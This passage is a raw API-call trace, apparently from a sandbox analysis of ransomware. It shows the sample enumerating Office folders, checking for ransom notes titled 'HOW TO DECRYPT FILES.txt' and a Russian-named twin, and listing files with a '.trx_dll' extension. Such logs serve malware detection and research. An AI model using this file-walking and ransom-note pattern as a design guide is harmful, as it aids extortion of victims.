hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0043, dwReserved1=0x6e006e, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0092.211] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.211] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65004e, dwReserved1=0x770074, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0092.211] lstrcmpA (lpString1=".", lpString2="OFFICE") returned -1 [0092.211] lstrcmpA (lpString1="..", lpString2="OFFICE") returned -1 [0092.211] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.211] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="OFFICE" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE" [0092.212] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.212] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.212] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.212] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.212] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.212] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0092.212] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.212] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AssetLibrary.ico") returned 1 [0092.212] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AssetLibrary.ico") returned 1 [0092.212] lstrcmpiA (lpString1="", lpString2="AssetLibrary.ico") returned -1 [0092.212] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\*.*") returned="*.*" [0092.212] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\" [0092.212] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="" [0092.213] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" [0092.213] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\how to decrypt files.txt")) returned 0x2020 [0092.213] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="AssetLibrary.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico" [0092.213] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0092.213] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.213] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DocumentRepository.ico") returned 1 [0092.213] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DocumentRepository.ico") returned 1 [0092.213] lstrcmpiA (lpString1="", lpString2="DocumentRepository.ico") returned -1 [0092.214] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico") returned="AssetLibrary.ico" [0092.214] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\" [0092.214] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="" [0092.214] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" [0092.214] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\how to decrypt files.txt")) returned 0x2020 [0092.214] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="DocumentRepository.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico" [0092.214] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.214] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.214] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.214] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.215] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0x18f7bc, dwReserved1=0x4f0048, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0092.215] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.215] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MySharePoints.ico") returned -1 [0092.215] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MySharePoints.ico") returned -1 [0092.215] lstrcmpiA (lpString1="", lpString2="MySharePoints.ico") returned -1 [0092.215] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico") returned="DocumentRepository.ico" [0092.215] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\" [0092.215] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="" [0092.215] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" [0092.215] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\how to decrypt files.txt")) returned 0x2020 [0092.215] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="MySharePoints.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico" [0092.216] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0092.216] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.216] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MySite.ico") returned -1 [0092.216] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MySite.ico") returned -1 [0092.216] lstrcmpiA (lpString1="", lpString2="MySite.ico") returned -1 [0092.216] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico") returned="MySharePoints.ico" [0092.216] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\" [0092.216] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="" [0092.216] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" [0092.216] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\how to decrypt files.txt")) returned 0x2020 [0092.216] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="MySite.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico" [0092.217] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0092.217] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.217] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SharePointPortalSite.ico") returned -1 [0092.217] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SharePointPortalSite.ico") returned -1 [0092.217] lstrcmpiA (lpString1="", lpString2="SharePointPortalSite.ico") returned -1 [0092.217] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico") returned="MySite.ico" [0092.217] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\" [0092.217] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="" [0092.217] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" [0092.217] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\how to decrypt files.txt")) returned 0x2020 [0092.217] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="SharePointPortalSite.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico" [0092.218] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0092.218] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.218] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SharePointTeamSite.ico") returned -1 [0092.218] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SharePointTeamSite.ico") returned -1 [0092.218] lstrcmpiA (lpString1="", lpString2="SharePointTeamSite.ico") returned -1 [0092.218] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico") returned="SharePointPortalSite.ico" [0092.218] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\" [0092.218] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="" [0092.218] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" [0092.218] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\how to decrypt files.txt")) returned 0x2020 [0092.218] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="SharePointTeamSite.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico" [0092.218] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1 [0092.218] lstrcmpA (lpString1=".", lpString2="UICaptions") returned -1 [0092.219] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico") returned="SharePointTeamSite.ico" [0092.219] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpString2="UICaptions" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" [0092.219] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4fa558, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.219] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0092.219] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0092.219] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*.*") returned="*.*" [0092.219] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\", lpString2="1036" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0092.220] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.220] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.220] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1 [0092.220] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.220] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ENVELOPR.DLL.trx_dll") returned -1 [0092.220] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ENVELOPR.DLL.trx_dll") returned 1 [0092.220] lstrcmpiA (lpString1="", lpString2="ENVELOPR.DLL.trx_dll") returned -1 [0092.220] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*.*") returned="*.*" [0092.220] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.220] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.220] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.221] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.221] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="ENVELOPR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" [0092.221] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xbf60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1 [0092.221] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.221] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GRINTL32.DLL.trx_dll") returned -1 [0092.221] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GRINTL32.DLL.trx_dll") returned 1 [0092.221] lstrcmpiA (lpString1="", lpString2="GRINTL32.DLL.trx_dll") returned -1 [0092.221] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned="ENVELOPR.DLL.trx_dll" [0092.221] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: 